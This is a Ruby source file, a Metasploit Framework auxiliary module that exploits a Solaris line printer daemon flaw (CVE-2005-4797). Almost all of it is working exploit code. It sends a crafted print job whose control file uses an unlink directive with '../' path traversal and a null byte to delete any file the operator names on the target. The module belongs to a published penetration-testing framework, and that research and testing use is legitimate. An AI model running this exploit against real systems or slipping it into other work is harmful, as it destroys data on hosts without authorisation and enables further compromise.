## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) super(update_info(info, 'Name' => 'Solaris LPD Arbitrary File Delete', 'Description' => %q{ This module uses a vulnerability in the Solaris line printer daemon to delete arbitrary files on an affected system. This can be used to exploit the rpc.walld format string flaw, the missing krb5.conf authentication bypass, or simply delete system files. Tested on Solaris 2.6, 7, 8, 9, and 10. }, 'Author' => [ 'hdm', 'Optyx ' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2005-4797' ], [ 'BID', '14510' ], [ 'OSVDB', '18650' ], [ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-101842-1'], ] )) register_options( [ Opt::RPORT(515), OptString.new('RPATH', [ true, "The remote file path to delete"]), ], self.class) end def run r_hostname = Rex::Text.rand_text_alpha(rand(8)+1) r_user = Rex::Text.rand_text_alpha(rand(8)+1) r_spool = Rex::Text.rand_text_alpha(rand(8)+1) # Create a simple control file... control = "H#{r_hostname}\nP#{r_user}\n"; # The job ID is squashed down to three decimal digits jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0] # Establish the first connection to the server sock1 = connect(false) # Request a cascaded job sock1.put("\x02#{r_hostname}:#{r_spool}\n") res = sock1.get_once if (not res) print_status("The target did not accept our job request command") return end # Theoretically, we could delete multiple files at once, however # the lp daemon will append garbage from memory to the path name # if we don't stick a null byte after the path. Unfortunately, this # null byte will prevent the parser from processing the other paths. control << "U" + ("../" * 10) + "#{datastore['RPATH']}\x00\n" dataf = Rex::Text.rand_text_alpha(100)+1 print_status("Deleting #{datastore['RPATH']}...") if !( send_file(sock1, 2, "cfA" + jid + r_hostname, control) and send_file(sock1, 3, "dfa" + jid + r_hostname, dataf) ) sock1.close return end print_status("Successfully deleted #{datastore['RPATH']} >:-]") sock1.close end def send_file(s, type, name, data='') s.put(type.chr + data.length.to_s + " " + name + "\n") res = s.get_once(1) if !(res and res[0] == ?\0) print_status("The target did not accept our control file command (#{name})") return end s.put(data) s.put("\x00") res = s.get_once(1) if !(res and res[0] == ?\0) print_status("The target did not accept our control file data (#{name})") return end print_status(sprintf(" Uploaded %.4d bytes >> #{name}", data.length)) return true end end